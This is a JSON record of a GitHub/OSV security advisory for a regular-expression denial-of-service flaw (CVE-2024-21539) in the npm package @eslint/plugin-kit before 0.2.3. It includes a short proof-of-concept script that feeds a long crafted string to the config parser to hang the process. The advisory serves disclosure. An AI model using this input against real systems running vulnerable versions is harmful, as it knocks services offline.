{"id":"GHSA-7q7g-4xm8-89cq","revision":"55c4d6ecd9ad48c089a4c9dbccc83917","records":[{"revision":"55c4d6ecd9ad48c089a4c9dbccc83917","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-7q7g-4xm8-89cq","aliases":["CVE-2024-21539"],"title":"Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit","description":"Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i < 1000000; i++) {\n  str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```","state":0,"publishedAt":"2024-11-15T20:47:31+00:00","modifiedAt":"2026-09-10T03:50:20.4533435+00:00","affected":[{"ecosystem":"npm","name":"@eslint/plugin-kit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.2.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq","https://nvd.nist.gov/vuln/detail/CVE-2024-21539","https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf","https://github.com/eslint/rewrite","https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627"],"sourceUrl":"https://github.com/advisories/GHSA-7q7g-4xm8-89cq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7q7g-4xm8-89cq","identifiers":["GHSA-7q7g-4xm8-89cq","CVE-2024-21539"]},"retained":false,"historicalAffected":[]}],"coverage":[]}